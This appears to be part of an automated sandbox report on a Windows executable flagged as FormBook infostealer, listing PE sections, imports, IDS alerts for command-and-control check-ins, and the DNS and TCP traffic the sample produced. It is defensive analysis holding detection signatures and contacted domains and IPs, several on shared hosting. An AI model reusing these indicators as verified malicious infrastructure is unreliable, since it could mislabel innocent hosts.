.rdata	0x11a000	0x66c6a	0x66e00	a4f6a29290662b437a865514bcf05f6c	False	0.488105634872418	data	6.7027087254675255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x181000	0xd5a8	0x1800	9d5075bd44b367f703d8e922b003398a	False	0.2294921875	data	3.190641782829915	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x18f000	0xcdec	0xce00	638451eb673a6cdf25f666b19f1b8bb4	False	0.49419751213592233	data	6.064103613023274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x19c000	0x2eac4	0x2ec00	6d3dc884e9811facd65d86d807ddff66	False	0.9950388536096256	data	7.997171322620239	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1cb000	0x5b8	0x600	adcf9b9e4d3994d1018ad464f4f1db74	False	0.5826822916666666	data	5.215191968056739	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
BINARY	0x19c118	0x2e484	data	1.0003481526807756
RT_VERSION	0x1ca59c	0x33c	data	0.38405797101449274
RT_MANIFEST	0x1ca8d8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
ADVAPI32.dll	RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, RegCloseKey, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegEnumValueW
bcrypt.dll	BCryptCloseAlgorithmProvider, BCryptGenerateSymmetricKey, BCryptDestroyKey, BCryptOpenAlgorithmProvider, BCryptGenRandom
KERNEL32.dll	TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, EncodePointer, GetConsoleWindow, FreeConsole, AllocConsole, SetLastError, GetLastError, LocalFree, CloseHandle, ExitProcess, GetTickCount64, FormatMessageW, K32EnumProcessModulesEx, IsWow64Process, GetExitCodeProcess, OpenProcess, K32EnumProcesses, K32GetModuleInformation, K32GetModuleBaseNameW, K32GetModuleFileNameExW, GetProcessId, DuplicateHandle, GetCurrentProcess, CloseThreadpoolIo, GetCurrentProcessId, MultiByteToWideChar, GetStdHandle, RaiseFailFastException, GetCalendarInfoEx, CompareStringOrdinal, CompareStringEx, FindNLSStringEx, GetLocaleInfoEx, ResolveLocaleName, FindStringOrdinal, GetCurrentThread, Sleep, DeleteCriticalSection, EnterCriticalSection, SleepConditionVariableCS, LeaveCriticalSection, WakeConditionVariable, QueryPerformanceCounter, InitializeCriticalSection, InitializeConditionVariable, WaitForMultipleObjectsEx, QueryPerformanceFrequency, GetFullPathNameW, GetLongPathNameW, WideCharToMultiByte, LocalAlloc, GetConsoleOutputCP, GetProcAddress, LocaleNameToLCID, LCMapStringEx, EnumTimeFormatsEx, EnumCalendarInfoExEx, CreateFileW, CreateThreadpoolIo, StartThreadpoolIo, CancelThreadpoolIo, DeleteFileW, DeviceIoControl, ExpandEnvironmentStringsW, FindClose, FindFirstFileExW, FlushFileBuffers, FreeLibrary, GetFileAttributesExW, GetFileInformationByHandleEx, GetFileType, GetModuleFileNameW, GetOverlappedResult, LoadLibraryExW, ReadFile, SetFileInformationByHandle, SetThreadErrorMode, GetThreadPriority, SetThreadPriority, WriteFile, GetCurrentProcessorNumberEx, SetEvent, CreateEventExW, GetEnvironmentVariableW, FlushProcessWriteBuffers, WaitForSingleObjectEx, RtlVirtualUnwind, RtlCaptureContext, RtlRestoreContext, AddVectoredExceptionHandler, FlsAlloc, FlsGetValue, FlsSetValue, CreateEventW, TerminateProcess, SwitchToThread, CreateThread, GetCurrentThreadId, SuspendThread, ResumeThread, GetThreadContext, SetThreadContext, FlushInstructionCache, VirtualAlloc, VirtualProtect, VirtualFree, QueryInformationJobObject, GetModuleHandleW, GetModuleHandleExW, GetProcessAffinityMask, InitializeContext, GetEnabledXStateFeatures, SetXStateFeaturesMask, InitializeCriticalSectionEx, VirtualQuery, GetSystemTimeAsFileTime, ResetEvent, DebugBreak, WaitForSingleObject, SleepEx, GlobalMemoryStatusEx, GetSystemInfo, GetLogicalProcessorInformation, GetLogicalProcessorInformationEx, GetLargePageMinimum, VirtualUnlock, VirtualAllocExNuma, IsProcessInJob, GetNumaHighestNodeNumber, GetProcessGroupAffinity, K32GetProcessMemoryInfo, RaiseException, RtlPcToFileHeader, RtlUnwindEx, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, IsDebuggerPresent, RtlLookupFunctionEntry, InitializeSListHead
ole32.dll	CoGetApartmentType, CoTaskMemAlloc, CoUninitialize, CoInitializeEx, CoTaskMemFree, CoWaitForMultipleHandles
api-ms-win-crt-heap-l1-1-0.dll	malloc, free, _callnewh, calloc, _set_new_mode
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-string-l1-1-0.dll	strcmp, _stricmp, strcpy_s, strncpy_s, wcsncmp
api-ms-win-crt-convert-l1-1-0.dll	strtoull
api-ms-win-crt-runtime-l1-1-0.dll	__p___wargv, _cexit, exit, terminate, _crt_atexit, _register_onexit_function, _initialize_onexit_table, __p___argc, _exit, abort, _initterm_e, _c_exit, _register_thread_local_exe_atexit_callback, _seh_filter_exe, _set_app_type, _initterm, _configure_wide_argv, _initialize_wide_environment, _get_initial_wide_environment
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vsprintf_s, __stdio_common_vfprintf, __p__commode, _set_fmode, __stdio_common_vsscanf, __acrt_iob_func
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T16:01:28.541848+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49751	91.195.240.19	80	TCP
2024-10-08T16:01:28.541848+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49751	91.195.240.19	80	TCP
2024-10-08T16:01:28.541848+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49751	91.195.240.19	80	TCP
2024-10-08T16:01:28.541848+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49739	52.206.163.162	80	TCP
2024-10-08T16:01:28.541848+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49739	52.206.163.162	80	TCP
2024-10-08T16:01:28.541848+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49739	52.206.163.162	80	TCP
2024-10-08T16:01:28.541848+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49743	104.247.81.174	80	TCP
2024-10-08T16:01:28.541848+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49743	104.247.81.174	80	TCP
2024-10-08T16:01:28.541848+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49743	104.247.81.174	80	TCP
2024-10-08T16:01:28.541848+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49745	198.185.159.144	80	TCP
2024-10-08T16:01:28.541848+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49745	198.185.159.144	80	TCP
2024-10-08T16:01:28.541848+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49745	198.185.159.144	80	TCP
2024-10-08T16:02:10.388618+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49736	172.66.0.70	80	TCP
2024-10-08T16:02:10.388618+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49736	172.66.0.70	80	TCP
2024-10-08T16:02:10.388618+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49736	172.66.0.70	80	TCP
2024-10-08T16:02:32.269097+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49738	104.18.188.223	80	TCP
2024-10-08T16:02:32.269097+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49738	104.18.188.223	80	TCP
2024-10-08T16:02:32.269097+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49738	104.18.188.223	80	TCP
2024-10-08T16:03:11.963231+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49740	198.185.159.144	80	TCP
2024-10-08T16:03:11.963231+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49740	198.185.159.144	80	TCP
2024-10-08T16:03:11.963231+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49740	198.185.159.144	80	TCP
2024-10-08T16:03:32.429473+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49741	172.67.143.211	80	TCP
2024-10-08T16:03:32.429473+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49741	172.67.143.211	80	TCP
2024-10-08T16:03:32.429473+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49741	172.67.143.211	80	TCP
2024-10-08T16:03:54.707781+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49742	103.235.47.188	80	TCP
2024-10-08T16:03:54.707781+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49742	103.235.47.188	80	TCP
2024-10-08T16:03:54.707781+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49742	103.235.47.188	80	TCP
2024-10-08T16:04:54.803703+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49744	13.248.252.114	80	TCP
2024-10-08T16:04:54.803703+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49744	13.248.252.114	80	TCP
2024-10-08T16:04:54.803703+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49744	13.248.252.114	80	TCP
2024-10-08T16:06:37.473281+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49746	172.67.130.46	80	TCP
2024-10-08T16:06:37.473281+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49746	172.67.130.46	80	TCP
2024-10-08T16:06:37.473281+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49746	172.67.130.46	80	TCP
2024-10-08T16:06:58.163499+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49747	63.141.128.16	80	TCP
2024-10-08T16:06:58.163499+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49747	63.141.128.16	80	TCP
2024-10-08T16:06:58.163499+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49747	63.141.128.16	80	TCP
2024-10-08T16:07:18.445512+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49748	13.248.169.48	80	TCP
2024-10-08T16:07:18.445512+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49748	13.248.169.48	80	TCP
2024-10-08T16:07:18.445512+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49748	13.248.169.48	80	TCP
2024-10-08T16:07:41.823141+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49749	3.33.130.190	80	TCP
2024-10-08T16:07:41.823141+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49749	3.33.130.190	80	TCP
2024-10-08T16:07:41.823141+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49749	3.33.130.190	80	TCP
2024-10-08T16:09:01.277884+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49750	192.250.227.27	80	TCP
2024-10-08T16:09:01.277884+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49750	192.250.227.27	80	TCP
2024-10-08T16:09:01.277884+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49750	192.250.227.27	80	TCP
2024-10-08T16:10:24.466524+0200	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49752	13.248.252.114	80	TCP
2024-10-08T16:10:24.466524+0200	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49752	13.248.252.114	80	TCP
2024-10-08T16:10:24.466524+0200	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	192.168.11.20	49752	13.248.252.114	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 16:02:10.175939083 CEST	49736	80	192.168.11.20	172.66.0.70
Oct 8, 2024 16:02:10.271034956 CEST	80	49736	172.66.0.70	192.168.11.20
Oct 8, 2024 16:02:10.271384954 CEST	49736	80	192.168.11.20	172.66.0.70
Oct 8, 2024 16:02:10.271385908 CEST	49736	80	192.168.11.20	172.66.0.70
Oct 8, 2024 16:02:10.366514921 CEST	80	49736	172.66.0.70	192.168.11.20
Oct 8, 2024 16:02:10.387456894 CEST	80	49736	172.66.0.70	192.168.11.20
Oct 8, 2024 16:02:10.387984037 CEST	49736	80	192.168.11.20	172.66.0.70
Oct 8, 2024 16:02:10.388391972 CEST	80	49736	172.66.0.70	192.168.11.20
Oct 8, 2024 16:02:10.388617992 CEST	49736	80	192.168.11.20	172.66.0.70
Oct 8, 2024 16:02:10.483177900 CEST	80	49736	172.66.0.70	192.168.11.20
Oct 8, 2024 16:02:32.063893080 CEST	49738	80	192.168.11.20	104.18.188.223
Oct 8, 2024 16:02:32.158890963 CEST	80	49738	104.18.188.223	192.168.11.20
Oct 8, 2024 16:02:32.159260035 CEST	49738	80	192.168.11.20	104.18.188.223
Oct 8, 2024 16:02:32.159362078 CEST	49738	80	192.168.11.20	104.18.188.223
Oct 8, 2024 16:02:32.254076958 CEST	80	49738	104.18.188.223	192.168.11.20
Oct 8, 2024 16:02:32.268712044 CEST	80	49738	104.18.188.223	192.168.11.20
Oct 8, 2024 16:02:32.268908024 CEST	80	49738	104.18.188.223	192.168.11.20
Oct 8, 2024 16:02:32.269097090 CEST	49738	80	192.168.11.20	104.18.188.223
Oct 8, 2024 16:02:32.269097090 CEST	49738	80	192.168.11.20	104.18.188.223
Oct 8, 2024 16:02:32.363869905 CEST	80	49738	104.18.188.223	192.168.11.20
Oct 8, 2024 16:02:51.323533058 CEST	49739	80	192.168.11.20	52.206.163.162
Oct 8, 2024 16:02:51.423594952 CEST	80	49739	52.206.163.162	192.168.11.20
Oct 8, 2024 16:02:51.423759937 CEST	49739	80	192.168.11.20	52.206.163.162
Oct 8, 2024 16:02:51.423815966 CEST	49739	80	192.168.11.20	52.206.163.162
Oct 8, 2024 16:02:51.523273945 CEST	80	49739	52.206.163.162	192.168.11.20
Oct 8, 2024 16:02:51.523401022 CEST	80	49739	52.206.163.162	192.168.11.20
Oct 8, 2024 16:02:51.523411989 CEST	80	49739	52.206.163.162	192.168.11.20
Oct 8, 2024 16:02:51.523613930 CEST	49739	80	192.168.11.20	52.206.163.162
Oct 8, 2024 16:02:51.523643970 CEST	49739	80	192.168.11.20	52.206.163.162
Oct 8, 2024 16:02:51.623208046 CEST	80	49739	52.206.163.162	192.168.11.20
Oct 8, 2024 16:03:11.769161940 CEST	49740	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:03:11.864430904 CEST	80	49740	198.185.159.144	192.168.11.20
Oct 8, 2024 16:03:11.864604950 CEST	49740	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:03:11.864633083 CEST	49740	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:03:11.959901094 CEST	80	49740	198.185.159.144	192.168.11.20
Oct 8, 2024 16:03:11.962738991 CEST	80	49740	198.185.159.144	192.168.11.20
Oct 8, 2024 16:03:11.962840080 CEST	80	49740	198.185.159.144	192.168.11.20
Oct 8, 2024 16:03:11.962945938 CEST	80	49740	198.185.159.144	192.168.11.20
Oct 8, 2024 16:03:11.963164091 CEST	49740	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:03:11.963231087 CEST	49740	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:03:12.059787989 CEST	80	49740	198.185.159.144	192.168.11.20
Oct 8, 2024 16:03:32.222038984 CEST	49741	80	192.168.11.20	172.67.143.211
Oct 8, 2024 16:03:32.317173958 CEST	80	49741	172.67.143.211	192.168.11.20
Oct 8, 2024 16:03:32.317357063 CEST	49741	80	192.168.11.20	172.67.143.211
Oct 8, 2024 16:03:32.317439079 CEST	49741	80	192.168.11.20	172.67.143.211
Oct 8, 2024 16:03:32.412271976 CEST	80	49741	172.67.143.211	192.168.11.20
Oct 8, 2024 16:03:32.428450108 CEST	80	49741	172.67.143.211	192.168.11.20
Oct 8, 2024 16:03:32.428823948 CEST	49741	80	192.168.11.20	172.67.143.211
Oct 8, 2024 16:03:32.429305077 CEST	80	49741	172.67.143.211	192.168.11.20
Oct 8, 2024 16:03:32.429472923 CEST	49741	80	192.168.11.20	172.67.143.211
Oct 8, 2024 16:03:32.523859978 CEST	80	49741	172.67.143.211	192.168.11.20
Oct 8, 2024 16:05:35.645068884 CEST	49745	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:05:35.745217085 CEST	80	49745	198.185.159.144	192.168.11.20
Oct 8, 2024 16:05:35.745511055 CEST	49745	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:05:35.745574951 CEST	49745	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:05:35.846487999 CEST	80	49745	198.185.159.144	192.168.11.20
Oct 8, 2024 16:05:35.847243071 CEST	80	49745	198.185.159.144	192.168.11.20
Oct 8, 2024 16:05:35.847323895 CEST	80	49745	198.185.159.144	192.168.11.20
Oct 8, 2024 16:05:35.847346067 CEST	80	49745	198.185.159.144	192.168.11.20
Oct 8, 2024 16:05:35.847558975 CEST	49745	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:05:35.847697973 CEST	49745	80	192.168.11.20	198.185.159.144
Oct 8, 2024 16:05:35.944434881 CEST	80	49745	198.185.159.144	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 16:02:10.005553961 CEST	61747	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:02:10.175179958 CEST	53	61747	1.1.1.1	192.168.11.20
Oct 8, 2024 16:02:31.779261112 CEST	54225	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:02:32.063143015 CEST	53	54225	1.1.1.1	192.168.11.20
Oct 8, 2024 16:02:51.165275097 CEST	62040	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:02:51.322936058 CEST	53	62040	1.1.1.1	192.168.11.20
Oct 8, 2024 16:03:11.551325083 CEST	58426	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:03:11.768527985 CEST	53	58426	1.1.1.1	192.168.11.20
Oct 8, 2024 16:03:32.109369993 CEST	56767	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:03:32.221383095 CEST	53	56767	1.1.1.1	192.168.11.20
Oct 8, 2024 16:03:52.651804924 CEST	57088	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:03:53.666908979 CEST	57088	53	192.168.11.20	9.9.9.9
Oct 8, 2024 16:03:54.085376024 CEST	53	57088	1.1.1.1	192.168.11.20
Oct 8, 2024 16:03:56.709516048 CEST	53	57088	9.9.9.9	192.168.11.20
Oct 8, 2024 16:04:13.194088936 CEST	52902	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:04:13.310894966 CEST	53	52902	1.1.1.1	192.168.11.20
Oct 8, 2024 16:04:54.278876066 CEST	49466	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:04:54.440768957 CEST	53	49466	1.1.1.1	192.168.11.20
Oct 8, 2024 16:05:14.821263075 CEST	57031	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:05:14.925124884 CEST	53	57031	1.1.1.1	192.168.11.20
Oct 8, 2024 16:05:35.412019014 CEST	59563	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:05:35.644350052 CEST	53	59563	1.1.1.1	192.168.11.20
Oct 8, 2024 16:05:55.952914000 CEST	53671	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:05:56.084242105 CEST	53	53671	1.1.1.1	192.168.11.20
Oct 8, 2024 16:06:16.495239019 CEST	57451	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:06:17.135902882 CEST	53	57451	1.1.1.1	192.168.11.20
Oct 8, 2024 16:06:37.053241014 CEST	56707	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:06:37.257268906 CEST	53	56707	1.1.1.1	192.168.11.20
Oct 8, 2024 16:06:57.595525980 CEST	64275	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:06:57.865155935 CEST	53	64275	1.1.1.1	192.168.11.20
Oct 8, 2024 16:07:18.122241974 CEST	61780	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:07:18.237570047 CEST	53	61780	1.1.1.1	192.168.11.20
Oct 8, 2024 16:07:40.523590088 CEST	54077	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:07:40.692815065 CEST	53	54077	1.1.1.1	192.168.11.20
Oct 8, 2024 16:07:59.206887960 CEST	62224	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:07:59.339804888 CEST	53	62224	1.1.1.1	192.168.11.20
Oct 8, 2024 16:08:19.733747959 CEST	62491	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:08:20.332827091 CEST	53	62491	1.1.1.1	192.168.11.20
Oct 8, 2024 16:08:40.276082993 CEST	58121	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:08:40.378460884 CEST	53	58121	1.1.1.1	192.168.11.20
Oct 8, 2024 16:09:00.787173033 CEST	64789	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:09:00.956960917 CEST	53	64789	1.1.1.1	192.168.11.20
Oct 8, 2024 16:09:21.329531908 CEST	52242	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:09:21.607800961 CEST	53	52242	1.1.1.1	192.168.11.20
Oct 8, 2024 16:09:41.856215954 CEST	59427	53	192.168.11.20	1.1.1.1
Oct 8, 2024 16:09:41.962882042 CEST	53	59427	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 16:02:10.005553961 CEST	192.168.11.20	1.1.1.1	0x907f	Standard query (0)	www.andrewghita.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:02:31.779261112 CEST	192.168.11.20	1.1.1.1	0x8b65	Standard query (0)	www.attorney-services-8344642.zone	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:02:51.165275097 CEST	192.168.11.20	1.1.1.1	0xf9f	Standard query (0)	www.yeslabs.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:11.551325083 CEST	192.168.11.20	1.1.1.1	0x318c	Standard query (0)	www.vizamag.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:32.109369993 CEST	192.168.11.20	1.1.1.1	0x8cdc	Standard query (0)	www.tigajco69.fun	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:52.651804924 CEST	192.168.11.20	1.1.1.1	0xce3e	Standard query (0)	www.zruypj169g.top	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:53.666908979 CEST	192.168.11.20	9.9.9.9	0xce3e	Standard query (0)	www.zruypj169g.top	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:04:13.194088936 CEST	192.168.11.20	1.1.1.1	0xcb43	Standard query (0)	www.pittsparking.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:04:54.278876066 CEST	192.168.11.20	1.1.1.1	0x66e0	Standard query (0)	www.woby.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:14.821263075 CEST	192.168.11.20	1.1.1.1	0xc783	Standard query (0)	www.j3k7n.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:35.412019014 CEST	192.168.11.20	1.1.1.1	0x554a	Standard query (0)	www.upcyclecharms.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:55.952914000 CEST	192.168.11.20	1.1.1.1	0x7936	Standard query (0)	www.piedge-taiko.net	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:06:16.495239019 CEST	192.168.11.20	1.1.1.1	0x6d21	Standard query (0)	www.z8ggd.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:06:37.053241014 CEST	192.168.11.20	1.1.1.1	0x24d5	Standard query (0)	www.qqkartel88v1.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:06:57.595525980 CEST	192.168.11.20	1.1.1.1	0xc058	Standard query (0)	www.webuyandsellpa.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:07:18.122241974 CEST	192.168.11.20	1.1.1.1	0x29cf	Standard query (0)	www.coinbureau.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:07:40.523590088 CEST	192.168.11.20	1.1.1.1	0xdab	Standard query (0)	www.localhomeservicesadvisor.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:07:59.206887960 CEST	192.168.11.20	1.1.1.1	0x6a2f	Standard query (0)	www.saeutah.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:08:19.733747959 CEST	192.168.11.20	1.1.1.1	0x5e43	Standard query (0)	www.jalaios10.vip	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:08:40.276082993 CEST	192.168.11.20	1.1.1.1	0xc488	Standard query (0)	www.chiri.lat	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:09:00.787173033 CEST	192.168.11.20	1.1.1.1	0x37f	Standard query (0)	www.equipoleiremnacional.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:09:21.329531908 CEST	192.168.11.20	1.1.1.1	0x8571	Standard query (0)	www.rakring.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:09:41.856215954 CEST	192.168.11.20	1.1.1.1	0x6056	Standard query (0)	www.rslotrank.win	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 16:02:10.175179958 CEST	1.1.1.1	192.168.11.20	0x907f	No error (0)	www.andrewghita.com	andrewghita.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:02:10.175179958 CEST	1.1.1.1	192.168.11.20	0x907f	No error (0)	andrewghita.com		172.66.0.70	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:02:32.063143015 CEST	1.1.1.1	192.168.11.20	0x8b65	No error (0)	www.attorney-services-8344642.zone	ssl1.prod.systemdragon.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:02:32.063143015 CEST	1.1.1.1	192.168.11.20	0x8b65	No error (0)	ssl1.prod.systemdragon.com		104.18.188.223	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:02:32.063143015 CEST	1.1.1.1	192.168.11.20	0x8b65	No error (0)	ssl1.prod.systemdragon.com		104.18.187.223	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:02:51.322936058 CEST	1.1.1.1	192.168.11.20	0xf9f	No error (0)	www.yeslabs.xyz	proxy-ssl.webflow.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:02:51.322936058 CEST	1.1.1.1	192.168.11.20	0xf9f	No error (0)	proxy-ssl.webflow.com	proxy-ssl-geo.webflow.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:02:51.322936058 CEST	1.1.1.1	192.168.11.20	0xf9f	No error (0)	proxy-ssl-geo.webflow.com		52.206.163.162	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:02:51.322936058 CEST	1.1.1.1	192.168.11.20	0xf9f	No error (0)	proxy-ssl-geo.webflow.com		34.234.52.18	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:02:51.322936058 CEST	1.1.1.1	192.168.11.20	0xf9f	No error (0)	proxy-ssl-geo.webflow.com		3.233.126.24	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:11.768527985 CEST	1.1.1.1	192.168.11.20	0x318c	No error (0)	www.vizamag.com	ext-sq.squarespace.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:03:11.768527985 CEST	1.1.1.1	192.168.11.20	0x318c	No error (0)	ext-sq.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:11.768527985 CEST	1.1.1.1	192.168.11.20	0x318c	No error (0)	ext-sq.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:11.768527985 CEST	1.1.1.1	192.168.11.20	0x318c	No error (0)	ext-sq.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:11.768527985 CEST	1.1.1.1	192.168.11.20	0x318c	No error (0)	ext-sq.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:32.221383095 CEST	1.1.1.1	192.168.11.20	0x8cdc	No error (0)	www.tigajco69.fun		172.67.143.211	A (IP address)	IN (0x0001)	false
